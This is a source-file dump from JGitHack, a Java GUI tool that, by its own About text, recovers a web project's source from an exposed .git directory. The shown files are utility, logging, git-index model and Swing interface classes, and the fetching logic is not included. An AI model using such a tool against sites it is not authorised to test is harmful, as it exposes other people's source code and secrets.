29 | * @since 2.1
30 | */
31 | public static final int INDEX_NOT_FOUND = -1;
32 |
33 | // Empty checks
34 | //-----------------------------------------------------------------------
35 | /**
36 | *
Checks if a CharSequence is empty ("") or null.
37 | *
38 | *
39 | * StringUtils.isEmpty(null) = true
40 | * StringUtils.isEmpty("") = true
41 | * StringUtils.isEmpty(" ") = false
42 | * StringUtils.isEmpty("bob") = false
43 | * StringUtils.isEmpty(" bob ") = false
44 | *
45 | *
46 | * NOTE: This method changed in Lang version 2.0.
47 | * It no longer trims the CharSequence.
48 | * That functionality is available in isBlank().
49 | *
50 | * @param cs the CharSequence to check, may be null
51 | * @return {@code true} if the CharSequence is empty or null
52 | * @since 3.0 Changed signature from isEmpty(String) to isEmpty(CharSequence)
53 | */
54 | public static boolean isEmpty(final CharSequence cs) {
55 | return cs == null || cs.length() == 0;
56 | }
57 |
58 | /**
59 | * Checks if a CharSequence is not empty ("") and not null.
60 | *
61 | *
62 | * StringUtils.isNotEmpty(null) = false
63 | * StringUtils.isNotEmpty("") = false
64 | * StringUtils.isNotEmpty(" ") = true
65 | * StringUtils.isNotEmpty("bob") = true
66 | * StringUtils.isNotEmpty(" bob ") = true
67 | *
68 | *
69 | * @param cs the CharSequence to check, may be null
70 | * @return {@code true} if the CharSequence is not empty and not null
71 | * @since 3.0 Changed signature from isNotEmpty(String) to isNotEmpty(CharSequence)
72 | */
73 | public static boolean isNotEmpty(final CharSequence cs) {
74 | return !isEmpty(cs);
75 | }
76 |
77 | /**
78 | * Checks if a CharSequence is whitespace, empty ("") or null.
79 | *
80 | *
81 | * StringUtils.isBlank(null) = true
82 | * StringUtils.isBlank("") = true
83 | * StringUtils.isBlank(" ") = true
84 | * StringUtils.isBlank("bob") = false
85 | * StringUtils.isBlank(" bob ") = false
86 | *
87 | *
88 | * @param cs the CharSequence to check, may be null
89 | * @return {@code true} if the CharSequence is null, empty or whitespace
90 | * @since 2.0
91 | * @since 3.0 Changed signature from isBlank(String) to isBlank(CharSequence)
92 | */
93 | public static boolean isBlank(final CharSequence cs) {
94 | int strLen;
95 | if (cs == null || (strLen = cs.length()) == 0) {
96 | return true;
97 | }
98 | for (int i = 0; i < strLen; i++) {
99 | if (Character.isWhitespace(cs.charAt(i)) == false) {
100 | return false;
101 | }
102 | }
103 | return true;
104 | }
105 |
106 | /**
107 | * Checks if a CharSequence is not empty (""), not null and not whitespace only.
108 | *
109 | *
110 | * StringUtils.isNotBlank(null) = false
111 | * StringUtils.isNotBlank("") = false
112 | * StringUtils.isNotBlank(" ") = false
113 | * StringUtils.isNotBlank("bob") = true
114 | * StringUtils.isNotBlank(" bob ") = true
115 | *
116 | *
117 | * @param cs the CharSequence to check, may be null
118 | * @return {@code true} if the CharSequence is
119 | * not empty and not null and not whitespace
120 | * @since 2.0
121 | * @since 3.0 Changed signature from isNotBlank(String) to isNotBlank(CharSequence)
122 | */
123 | public static boolean isNotBlank(final CharSequence cs) {
124 | return !isBlank(cs);
125 | }
126 |
127 | // Trim
128 | //-----------------------------------------------------------------------
129 | /**
130 | * Removes control characters (char <= 32) from both
131 | * ends of this String, handling {@code null} by returning
132 | * {@code null}.
133 | *
134 | * The String is trimmed using {@link String#trim()}.
135 | * Trim removes start and end characters <= 32.
136 | * To strip whitespace use {@link #strip(String)}.
137 | *
138 | * To trim your choice of characters, use the
139 | * {@link #strip(String, String)} methods.
140 | *
141 | *
142 | * StringUtils.trim(null) = null
143 | * StringUtils.trim("") = ""
144 | * StringUtils.trim(" ") = ""
145 | * StringUtils.trim("abc") = "abc"
146 | * StringUtils.trim(" abc ") = "abc"
147 | *
148 | *
149 | * @param str the String to be trimmed, may be null
150 | * @return the trimmed string, {@code null} if null String input
151 | */
152 | public static String trim(final String str) {
153 | return str == null ? null : str.trim();
154 | }
155 |
156 | /**
157 | * Removes control characters (char <= 32) from both
158 | * ends of this String returning {@code null} if the String is
159 | * empty ("") after the trim or if it is {@code null}.
160 | *
161 | *
The String is trimmed using {@link String#trim()}.
162 | * Trim removes start and end characters <= 32.
163 | * To strip whitespace use {@link #stripToNull(String)}.
164 | *
165 | *
166 | * StringUtils.trimToNull(null) = null
167 | * StringUtils.trimToNull("") = null
168 | * StringUtils.trimToNull(" ") = null
169 | * StringUtils.trimToNull("abc") = "abc"
170 | * StringUtils.trimToNull(" abc ") = "abc"
171 | *
172 | *
173 | * @param str the String to be trimmed, may be null
174 | * @return the trimmed String,
175 | * {@code null} if only chars <= 32, empty or null String input
176 | * @since 2.0
177 | */
178 | public static String trimToNull(final String str) {
179 | final String ts = trim(str);
180 | return isEmpty(ts) ? null : ts;
181 | }
182 |
183 | /**
184 | * Removes control characters (char <= 32) from both
185 | * ends of this String returning an empty String ("") if the String
186 | * is empty ("") after the trim or if it is {@code null}.
187 | *
188 | *
The String is trimmed using {@link String#trim()}.
189 | * Trim removes start and end characters <= 32.
190 | * To strip whitespace use {@link #stripToEmpty(String)}.
191 | *
192 | *
193 | * StringUtils.trimToEmpty(null) = ""
194 | * StringUtils.trimToEmpty("") = ""
195 | * StringUtils.trimToEmpty(" ") = ""
196 | * StringUtils.trimToEmpty("abc") = "abc"
197 | * StringUtils.trimToEmpty(" abc ") = "abc"
198 | *
199 | *
200 | * @param str the String to be trimmed, may be null
201 | * @return the trimmed String, or an empty String if {@code null} input
202 | * @since 2.0
203 | */
204 | public static String trimToEmpty(final String str) {
205 | return str == null ? EMPTY : str.trim();
206 | }
207 | }
208 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/log/LogUtils.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.com Inc.
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.log;
6 |
7 | import java.io.PrintWriter;
8 | import java.io.StringWriter;
9 | import java.io.Writer;
10 |
11 | /**
12 | * 简单的日志工具。。
13 | *
14 | * @author Albert Wang
15 | * @version $Id: LogUtils.java, V0.1 2016-10-29 20:02:00, jawangwen@qq.com $
16 | */
17 | public class LogUtils {
18 | public static final int DEBUG = 0;
19 | public static final int INFO = 1;
20 | public static final int WARNING = 2;
21 | public static final int ERROR = 3;
22 |
23 | private static volatile int level = DEBUG;
24 |
25 | private static volatile Print print = new Print() {
26 | @Override
27 | public void toOut(String log) {
28 | System.out.println(log);
29 | }
30 |
31 | @Override
32 | public void toErr(String log) {
33 | System.err.println(log);
34 | }
35 | };
36 |
37 | /**
38 | * 打印方案
39 | *
40 | * @author Albert Wang
41 | * @version $Id: LogUtils.java, V0.1 Nov 2, 2016 12:30:54 AM jawangwen@qq.com $
42 | */
43 | public static interface Print {
44 | /**
45 | * 打印一般信息
46 | */
47 | public void toOut(String log);
48 |
49 | /**
50 | * 打印错误信息
51 | */
52 | public void toErr(String log);
53 | }
54 |
55 | /**
56 | * 以slf4j的格式来格式化日志输出
57 | *
58 | * @param message
59 | * @param arguments
60 | * @return
61 | */
62 | public static String formatMessage(String message, Object... arguments) {
63 | if (arguments == null || arguments.length == 0) {
64 | return message;
65 | }
66 | return String.format(message, arguments);
67 | }
68 |
69 | /**
70 | * debug级别日志输出
71 | *
72 | * @param logger
73 | * @param message
74 | * @param arguments
75 | */
76 | public static void debug(String message, Object... arguments) {
77 | if (level <= DEBUG) {
78 | print.toOut(formatMessage(message, arguments));
79 | }
80 | }
81 |
82 | /**
83 | * info级别日志输出
84 | *
85 | * @param logger
86 | * @param message
87 | * @param arguments
88 | */
89 | public static void info(String message, Object... arguments) {
90 | if (level <= INFO) {
91 | print.toOut(formatMessage(message, arguments));
92 | }
93 | }
94 |
95 | /**
96 | * warn级别日志输出
97 | *
98 | * @param logger
99 | * @param message
100 | * @param arguments
101 | */
102 | public static void warn(String message, Object... arguments) {
103 | if (level <= WARNING) {
104 | print.toErr(formatMessage(message, arguments));
105 | }
106 | }
107 |
108 | /**
109 | * error级别日志输出
110 | *
111 | * @param logger
112 | * @param message
113 | * @param arguments
114 | */
115 | public static void error(String message, Object... arguments) {
116 | print.toErr(formatMessage(message, arguments));
117 | }
118 |
119 | /**
120 | * warn级别带异常堆栈日志输出
121 | *
122 | * @param logger
123 | * @param e
124 | * @param message
125 | * @param arguments
126 | */
127 | public static void warn(Throwable e, String message, Object... arguments) {
128 | if (level <= WARNING) {
129 | print.toErr(formatMessage(message, arguments) + getStackTrace(e));
130 | }
131 |
132 | }
133 |
134 | /**
135 | * error级别带异常堆栈日志输出
136 | *
137 | * @param logger
138 | * @param e
139 | * @param message
140 | * @param arguments
141 | */
142 | public static void error(Throwable e, String message, Object... arguments) {
143 | print.toErr(formatMessage(message, arguments));
144 | print.toErr(getStackTrace(e));
145 | }
146 |
147 | /**
148 | * 异常堆栈转String
149 | *
150 | * @param throwable
151 | * @return
152 | */
153 | public static String getStackTrace(Throwable throwable) {
154 | if (throwable == null) {
155 | return "";
156 | }
157 | Writer sw = new StringWriter();
158 | PrintWriter pw = new PrintWriter(sw);
159 | throwable.printStackTrace(pw);
160 | return sw.toString();
161 | }
162 |
163 | /**
164 | * Setter method for property print.
165 | *
166 | * @param print value to be assigned to property print
167 | */
168 | public static void setPrint(Print print) {
169 | LogUtils.print = print;
170 | }
171 | }
172 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/model/IndexEntry.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.com Inc.
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.model;
6 |
7 | /**
8 | * IndexEntry-.git目录下index文件的基本组成元素
9 | *
10 | * @author Albert Wang
11 | * @version $Id: IndexEntry.java, V0.1 2016-10-29 20:01:00, jawangwen@qq.com $
12 | */
13 | public class IndexEntry {
14 | private Integer id;
15 | private Integer secondsCreated;
16 | private Integer nanosecondsCreated;
17 | private Integer secondsModified;
18 | private Integer nanosecondsModified;
19 | private Integer dev;
20 | private Integer ino;
21 | private String mode;
22 | private Integer uid;
23 | private Integer gid;
24 | private Integer size;
25 | private String sha1;
26 | private Short flags;
27 | private Boolean assumeValid;
28 | private Boolean extended;
29 | private Boolean[] stage;
30 | private Short extraFlags;
31 | private Boolean reserved;
32 | private Boolean skipWorktree;
33 | private Boolean intentToAdd;
34 | private String name;
35 |
36 | /**
37 | * Getter method for property id.
38 | *
39 | * @return property value of id
40 | */
41 | public Integer getId() {
42 | return id;
43 | }
44 |
45 | /**
46 | * Setter method for property id.
47 | *
48 | * @param id value to be assigned to property id
49 | */
50 | public void setId(Integer id) {
51 | this.id = id;
52 | }
53 |
54 | /**
55 | * Getter method for property secondsCreated.
56 | *
57 | * @return property value of secondsCreated
58 | */
59 | public Integer getSecondsCreated() {
60 | return secondsCreated;
61 | }
62 |
63 | /**
64 | * Setter method for property secondsCreated.
65 | *
66 | * @param secondsCreated value to be assigned to property secondsCreated
67 | */
68 | public void setSecondsCreated(Integer secondsCreated) {
69 | this.secondsCreated = secondsCreated;
70 | }
71 |
72 | /**
73 | * Getter method for property nanosecondsCreated.
74 | *
75 | * @return property value of nanosecondsCreated
76 | */
77 | public Integer getNanosecondsCreated() {
78 | return nanosecondsCreated;
79 | }
80 |
81 | /**
82 | * Setter method for property nanosecondsCreated.
83 | *
84 | * @param nanosecondsCreated value to be assigned to property nanosecondsCreated
85 | */
86 | public void setNanosecondsCreated(Integer nanosecondsCreated) {
87 | this.nanosecondsCreated = nanosecondsCreated;
88 | }
89 |
90 | /**
91 | * Getter method for property secondsModified.
92 | *
93 | * @return property value of secondsModified
94 | */
95 | public Integer getSecondsModified() {
96 | return secondsModified;
97 | }
98 |
99 | /**
100 | * Setter method for property secondsModified.
101 | *
102 | * @param secondsModified value to be assigned to property secondsModified
103 | */
104 | public void setSecondsModified(Integer secondsModified) {
105 | this.secondsModified = secondsModified;
106 | }
107 |
108 | /**
109 | * Getter method for property nanosecondsModified.
110 | *
111 | * @return property value of nanosecondsModified
112 | */
113 | public Integer getNanosecondsModified() {
114 | return nanosecondsModified;
115 | }
116 |
117 | /**
118 | * Setter method for property nanosecondsModified.
119 | *
120 | * @param nanosecondsModified value to be assigned to property nanosecondsModified
121 | */
122 | public void setNanosecondsModified(Integer nanosecondsModified) {
123 | this.nanosecondsModified = nanosecondsModified;
124 | }
125 |
126 | /**
127 | * Getter method for property dev.
128 | *
129 | * @return property value of dev
130 | */
131 | public Integer getDev() {
132 | return dev;
133 | }
134 |
135 | /**
136 | * Setter method for property dev.
137 | *
138 | * @param dev value to be assigned to property dev
139 | */
140 | public void setDev(Integer dev) {
141 | this.dev = dev;
142 | }
143 |
144 | /**
145 | * Getter method for property ino.
146 | *
147 | * @return property value of ino
148 | */
149 | public Integer getIno() {
150 | return ino;
151 | }
152 |
153 | /**
154 | * Setter method for property ino.
155 | *
156 | * @param ino value to be assigned to property ino
157 | */
158 | public void setIno(Integer ino) {
159 | this.ino = ino;
160 | }
161 |
162 | /**
163 | * Getter method for property mode.
164 | *
165 | * @return property value of mode
166 | */
167 | public String getMode() {
168 | return mode;
169 | }
170 |
171 | /**
172 | * Setter method for property mode.
173 | *
174 | * @param mode value to be assigned to property mode
175 | */
176 | public void setMode(String mode) {
177 | this.mode = mode;
178 | }
179 |
180 | /**
181 | * Getter method for property uid.
182 | *
183 | * @return property value of uid
184 | */
185 | public Integer getUid() {
186 | return uid;
187 | }
188 |
189 | /**
190 | * Setter method for property uid.
191 | *
192 | * @param uid value to be assigned to property uid
193 | */
194 | public void setUid(Integer uid) {
195 | this.uid = uid;
196 | }
197 |
198 | /**
199 | * Getter method for property gid.
200 | *
201 | * @return property value of gid
202 | */
203 | public Integer getGid() {
204 | return gid;
205 | }
206 |
207 | /**
208 | * Setter method for property gid.
209 | *
210 | * @param gid value to be assigned to property gid
211 | */
212 | public void setGid(Integer gid) {
213 | this.gid = gid;
214 | }
215 |
216 | /**
217 | * Getter method for property size.
218 | *
219 | * @return property value of size
220 | */
221 | public Integer getSize() {
222 | return size;
223 | }
224 |
225 | /**
226 | * Setter method for property size.
227 | *
228 | * @param size value to be assigned to property size
229 | */
230 | public void setSize(Integer size) {
231 | this.size = size;
232 | }
233 |
234 | /**
235 | * Getter method for property sha1.
236 | *
237 | * @return property value of sha1
238 | */
239 | public String getSha1() {
240 | return sha1;
241 | }
242 |
243 | /**
244 | * Setter method for property sha1.
245 | *
246 | * @param sha1 value to be assigned to property sha1
247 | */
248 | public void setSha1(String sha1) {
249 | this.sha1 = sha1;
250 | }
251 |
252 | /**
253 | * Getter method for property flags.
254 | *
255 | * @return property value of flags
256 | */
257 | public Short getFlags() {
258 | return flags;
259 | }
260 |
261 | /**
262 | * Setter method for property flags.
263 | *
264 | * @param flags value to be assigned to property flags
265 | */
266 | public void setFlags(Short flags) {
267 | this.flags = flags;
268 | }
269 |
270 | /**
271 | * Getter method for property assumeValid.
272 | *
273 | * @return property value of assumeValid
274 | */
275 | public Boolean getAssumeValid() {
276 | return assumeValid;
277 | }
278 |
279 | /**
280 | * Setter method for property assumeValid.
281 | *
282 | * @param assumeValid value to be assigned to property assumeValid
283 | */
284 | public void setAssumeValid(Boolean assumeValid) {
285 | this.assumeValid = assumeValid;
286 | }
287 |
288 | /**
289 | * Getter method for property extended.
290 | *
291 | * @return property value of extended
292 | */
293 | public Boolean getExtended() {
294 | return extended;
295 | }
296 |
297 | /**
298 | * Setter method for property extended.
299 | *
300 | * @param extended value to be assigned to property extended
301 | */
302 | public void setExtended(Boolean extended) {
303 | this.extended = extended;
304 | }
305 |
306 | /**
307 | * Getter method for property stage.
308 | *
309 | * @return property value of stage
310 | */
311 | public Boolean[] getStage() {
312 | return stage;
313 | }
314 |
315 | /**
316 | * Setter method for property stage.
317 | *
318 | * @param stage value to be assigned to property stage
319 | */
320 | public void setStage(Boolean[] stage) {
321 | this.stage = stage;
322 | }
323 |
324 | /**
325 | * Getter method for property extraFlags.
326 | *
327 | * @return property value of extraFlags
328 | */
329 | public Short getExtraFlags() {
330 | return extraFlags;
331 | }
332 |
333 | /**
334 | * Setter method for property extraFlags.
335 | *
336 | * @param extraFlags value to be assigned to property extraFlags
337 | */
338 | public void setExtraFlags(Short extraFlags) {
339 | this.extraFlags = extraFlags;
340 | }
341 |
342 | /**
343 | * Getter method for property reserved.
344 | *
345 | * @return property value of reserved
346 | */
347 | public Boolean getReserved() {
348 | return reserved;
349 | }
350 |
351 | /**
352 | * Setter method for property reserved.
353 | *
354 | * @param reserved value to be assigned to property reserved
355 | */
356 | public void setReserved(Boolean reserved) {
357 | this.reserved = reserved;
358 | }
359 |
360 | /**
361 | * Getter method for property skipWorktree.
362 | *
363 | * @return property value of skipWorktree
364 | */
365 | public Boolean getSkipWorktree() {
366 | return skipWorktree;
367 | }
368 |
369 | /**
370 | * Setter method for property skipWorktree.
371 | *
372 | * @param skipWorktree value to be assigned to property skipWorktree
373 | */
374 | public void setSkipWorktree(Boolean skipWorktree) {
375 | this.skipWorktree = skipWorktree;
376 | }
377 |
378 | /**
379 | * Getter method for property intentToAdd.
380 | *
381 | * @return property value of intentToAdd
382 | */
383 | public Boolean getIntentToAdd() {
384 | return intentToAdd;
385 | }
386 |
387 | /**
388 | * Setter method for property intentToAdd.
389 | *
390 | * @param intentToAdd value to be assigned to property intentToAdd
391 | */
392 | public void setIntentToAdd(Boolean intentToAdd) {
393 | this.intentToAdd = intentToAdd;
394 | }
395 |
396 | /**
397 | * Getter method for property name.
398 | *
399 | * @return property value of name
400 | */
401 | public String getName() {
402 | return name;
403 | }
404 |
405 | /**
406 | * Setter method for property name.
407 | *
408 | * @param name value to be assigned to property name
409 | */
410 | public void setName(String name) {
411 | this.name = name;
412 | }
413 | }
414 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/ui/AboutFrame.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.com Inc.
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.ui;
6 |
7 | import java.awt.Dimension;
8 | import java.awt.event.ActionEvent;
9 | import java.awt.event.ActionListener;
10 |
11 | import javax.swing.GroupLayout;
12 | import javax.swing.JButton;
13 | import javax.swing.JEditorPane;
14 | import javax.swing.JFrame;
15 | import javax.swing.JPanel;
16 | import javax.swing.JScrollPane;
17 | import javax.swing.LayoutStyle;
18 | import javax.swing.WindowConstants;
19 |
20 | /**
21 | * AboutFrame
22 | *
23 | * @author Albert Wang
24 | * @version $Id: AboutFrame.java, V0.1 Nov 1, 2016 11:12:38 PM jawangwen@qq.com $
25 | */
26 | public class AboutFrame extends JFrame {
27 | /** serial version */
28 | private static final long serialVersionUID = -3921661806821542826L;
29 |
30 | private String message = "GitHack v1.0
\n"
31 | + "JGitHack is a Java tool using \".git leak\""
32 | + " to restore web project.
\n"
33 | + "Albert Wang(jawangwen@qq.com)";
34 | private JPanel aboutPanel;
35 | private JEditorPane editorPane;
36 | private JScrollPane scrollPane;
37 | private JButton okButton;
38 |
39 | /**
40 | * Creates new form aboutFrame
41 | */
42 | public AboutFrame() {
43 | initComponents();
44 | editorPane.setCaretPosition(0);
45 | }
46 |
47 | private void initComponents() {
48 | okButton = new JButton();
49 | aboutPanel = new JPanel();
50 | scrollPane = new JScrollPane();
51 | editorPane = new JEditorPane();
52 |
53 | setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE);
54 |
55 | okButton.setText("OK");
56 | okButton.setAlignmentX(0.5F);
57 | okButton.addActionListener(new ActionListener() {
58 | public void actionPerformed(ActionEvent evt) {
59 | dispose();
60 | }
61 | });
62 |
63 | aboutPanel.setPreferredSize(new Dimension(450, 300));
64 |
65 | editorPane.setContentType("text/html");
66 | editorPane.setEditable(false);
67 | editorPane.setText(message);
68 | editorPane.setMinimumSize(new Dimension(150, 150));
69 | editorPane.setPreferredSize(new Dimension(150, 150));
70 | scrollPane.setViewportView(editorPane);
71 |
72 | GroupLayout aboutPanelLayout = new GroupLayout(aboutPanel);
73 | aboutPanel.setLayout(aboutPanelLayout);
74 | aboutPanelLayout.setHorizontalGroup(aboutPanelLayout.createParallelGroup(
75 | GroupLayout.Alignment.LEADING).addComponent(scrollPane, GroupLayout.DEFAULT_SIZE, 444,
76 | Short.MAX_VALUE));
77 | aboutPanelLayout.setVerticalGroup(aboutPanelLayout.createParallelGroup(
78 | GroupLayout.Alignment.LEADING).addComponent(scrollPane, GroupLayout.DEFAULT_SIZE, 311,
79 | Short.MAX_VALUE));
80 |
81 | GroupLayout layout = new GroupLayout(getContentPane());
82 | getContentPane().setLayout(layout);
83 | layout.setHorizontalGroup(layout
84 | .createParallelGroup(GroupLayout.Alignment.LEADING)
85 | .addGroup(
86 | layout.createSequentialGroup().addGap(168, 168, 168).addComponent(okButton)
87 | .addContainerGap(227, Short.MAX_VALUE))
88 | .addComponent(aboutPanel, GroupLayout.DEFAULT_SIZE, 444, Short.MAX_VALUE));
89 | layout.setVerticalGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(
90 | GroupLayout.Alignment.TRAILING,
91 | layout.createSequentialGroup()
92 | .addComponent(aboutPanel, GroupLayout.DEFAULT_SIZE, 311, Short.MAX_VALUE)
93 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(okButton)
94 | .addContainerGap()));
95 | pack();
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/ui/HomeFrame.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.com Inc.
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.ui;
6 |
7 | import java.awt.BorderLayout;
8 | import java.awt.Container;
9 | import java.awt.Dimension;
10 | import java.awt.FlowLayout;
11 | import java.awt.event.ActionEvent;
12 | import java.awt.event.ActionListener;
13 | import java.io.File;
14 | import java.util.concurrent.BlockingQueue;
15 | import java.util.concurrent.LinkedBlockingQueue;
16 | import java.util.concurrent.ThreadPoolExecutor;
17 | import java.util.concurrent.TimeUnit;
18 | import java.util.concurrent.locks.Lock;
19 | import java.util.concurrent.locks.ReentrantLock;
20 |
21 | import javax.swing.JButton;
22 | import javax.swing.JFrame;
23 | import javax.swing.JLabel;
24 | import javax.swing.JMenu;
25 | import javax.swing.JMenuBar;
26 | import javax.swing.JMenuItem;
27 | import javax.swing.JOptionPane;
28 | import javax.swing.JPanel;
29 | import javax.swing.JScrollPane;
30 | import javax.swing.JTextArea;
31 | import javax.swing.JTextField;
32 | import javax.swing.WindowConstants;
33 | import javax.swing.event.UndoableEditEvent;
34 | import javax.swing.event.UndoableEditListener;
35 |
36 | import com.jgithack.hack.GitHack;
37 | import com.jgithack.log.LogUtils;
38 |
39 | /**
40 | * Home Frame GUI
41 | *
42 | * @author Albert Wang
43 | * @version $Id: HomeFrame.java, V0.1 Nov 1, 2016 11:12:20 PM jawangwen@qq.com $
44 | */
45 | public class HomeFrame extends JFrame {
46 | private static final long serialVersionUID = 1L;
47 |
48 | private static final String BUTTON_HACK = "Hack";
49 | private static final String BUTTON_STOP = "Stop";
50 |
51 | /** Menu bar */
52 | private JMenuBar menuBar;
53 |
54 | /** Sub menu - help */
55 | private JMenu helpMenu;
56 |
57 | /** Menu option - about */
58 | private JMenuItem aboutItem;
59 |
60 | /** Input field for remote URL */
61 | private JTextField remoteUrlField;
62 |
63 | /** Input field for download directory */
64 | private JTextField downloadField;
65 |
66 | /** Output area like terminal */
67 | private JTextArea terminalArea;
68 |
69 | /** Button to start GitHack */
70 | private JButton hackButton;
71 |
72 | /** Avoid to run GitHack repeatedly when it works */
73 | private final Lock lock = new ReentrantLock();
74 |
75 | /** thread pool queue for run GitHack asynchronously */
76 | private volatile BlockingQueue tasks = new LinkedBlockingQueue();
77 |
78 | /** thread pool for run GitHack asynchronously */
79 | private volatile ThreadPoolExecutor executor = new ThreadPoolExecutor(1, 1, 30,
80 | TimeUnit.SECONDS, tasks);
81 |
82 | private volatile GitHack gitHack = new GitHack();
83 |
84 | /**
85 | * Home GUI Constructor
86 | */
87 | public HomeFrame() {
88 | initMenu();
89 |
90 | downloadField = new JTextField(50);
91 |
92 | remoteUrlField = new JTextField(50);
93 | remoteUrlField.requestFocus();
94 | remoteUrlField.getDocument().addUndoableEditListener(new UndoableEditListener() {
95 | @Override
96 | public void undoableEditHappened(UndoableEditEvent e) {
97 | String path = remoteUrlField.getText().trim().replace("http://", "")
98 | .replaceFirst("/(\\w*?)\\.(\\w+)$", "");
99 | downloadField.setText(new File(path).getAbsolutePath());
100 | }
101 | });
102 |
103 | terminalArea = new JTextArea(30, 60);
104 | terminalArea.setEditable(false);
105 | LogUtils.setPrint(new LogUtils.Print() {
106 | @Override
107 | public void toOut(String log) {
108 | terminalArea.append(log + "\n");
109 | repaint();
110 | }
111 |
112 | @Override
113 | public void toErr(String log) {
114 | terminalArea.append(log + "\n");
115 | repaint();
116 | }
117 | });
118 |
119 | hackButton = new JButton(BUTTON_HACK);
120 | hackButton.addActionListener(new ActionListener() {
121 | @Override
122 | public void actionPerformed(ActionEvent event) {
123 | hackActionPerformed(event);
124 | }
125 | });
126 |
127 | JPanel labelPanel = new JPanel(new BorderLayout());
128 | labelPanel.add(new JLabel("RemoteUrl "), BorderLayout.NORTH);
129 | labelPanel.add(new JLabel("SaveTo "), BorderLayout.SOUTH);
130 |
131 | JPanel fieldPanel = new JPanel(new BorderLayout());
132 | fieldPanel.add(remoteUrlField, BorderLayout.NORTH);
133 | fieldPanel.add(downloadField, BorderLayout.SOUTH);
134 |
135 | JPanel inputPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));
136 | inputPanel.add(labelPanel);
137 | inputPanel.add(fieldPanel);
138 |
139 | JPanel terminalPanel = new JPanel(new FlowLayout(FlowLayout.CENTER));
140 | terminalPanel.add(new JScrollPane(terminalArea));
141 |
142 | JPanel cmdPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT));
143 | cmdPanel.add(hackButton);
144 |
145 | Container container = getContentPane();
146 | container.setLayout(new BorderLayout());
147 | container.add(inputPanel, BorderLayout.NORTH);
148 | container.add(terminalPanel, BorderLayout.CENTER);
149 | container.add(cmdPanel, BorderLayout.SOUTH);
150 |
151 | Dimension dimension = getToolkit().getScreenSize();
152 |
153 | this.setTitle("GitHack V1.0");
154 | this.setMaximumSize(dimension);
155 | this.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
156 | this.setResizable(true);
157 | this.pack();
158 | }
159 |
160 | private void initMenu() {
161 | menuBar = new JMenuBar();
162 | helpMenu = new JMenu();
163 | aboutItem = new JMenuItem();
164 |
165 | helpMenu.setText("Help");
166 |
167 | aboutItem.setText("About");
168 | aboutItem.addActionListener(new ActionListener() {
169 | public void actionPerformed(ActionEvent event) {
170 | aboutActionPerformed(event);
171 | }
172 | });
173 | helpMenu.add(aboutItem);
174 |
175 | menuBar.add(helpMenu);
176 |
177 | setJMenuBar(menuBar);
178 | }
179 |
180 | private void hackActionPerformed(ActionEvent event) {
181 | if (!lock.tryLock()) {
182 | JOptionPane.showMessageDialog(null, hackButton.getText() + " is doing..");
183 | return;
184 | }
185 | try {
186 | if (BUTTON_HACK.equals(hackButton.getText())) {
187 | final String remoteUrl = remoteUrlField.getText().trim();
188 | if (remoteUrl.length() <= 0) {
189 | JOptionPane.showMessageDialog(null, "remoteUrl could not be empty!");
190 | }
191 |
192 | final String downloadDir = downloadField.getText().trim();
193 |
194 | hackButton.setText(BUTTON_STOP);
195 | terminalArea.setText("");
196 |
197 | executor = new ThreadPoolExecutor(1, 1, 30, TimeUnit.SECONDS, tasks);
198 | executor.execute(new Runnable() {
199 | @Override
200 | public void run() {
201 | try {
202 | repaint();
203 | gitHack = new GitHack(remoteUrl).withDownloadDir(downloadDir)
204 | .nativeFirst(true).skipError(true).withTryTimes(1);
205 | gitHack.build().checkout();
206 | LogUtils.info("Complete!");
207 | } catch (Exception exception) {
208 | LogUtils.error(exception, exception.getMessage());
209 | } finally {
210 | hackButton.setText(BUTTON_HACK);
211 | }
212 | }
213 | });
214 | } else {
215 | executor.shutdownNow();
216 | gitHack.close();
217 | hackButton.setText(BUTTON_HACK);
218 | }
219 | } catch (Exception exception) {
220 | LogUtils.warn(exception, "");
221 | JOptionPane.showMessageDialog(null, exception.toString());
222 | } finally {
223 | lock.unlock();
224 | }
225 | }
226 |
227 | /**
228 | * Show the help/about frame
229 | * @param evt Event
230 | */
231 | private void aboutActionPerformed(ActionEvent event) {
232 | AboutFrame about = new AboutFrame();
233 | about.setLocationRelativeTo(this);
234 | about.setVisible(true);
235 | }
236 | }
--------------------------------------------------------------------------------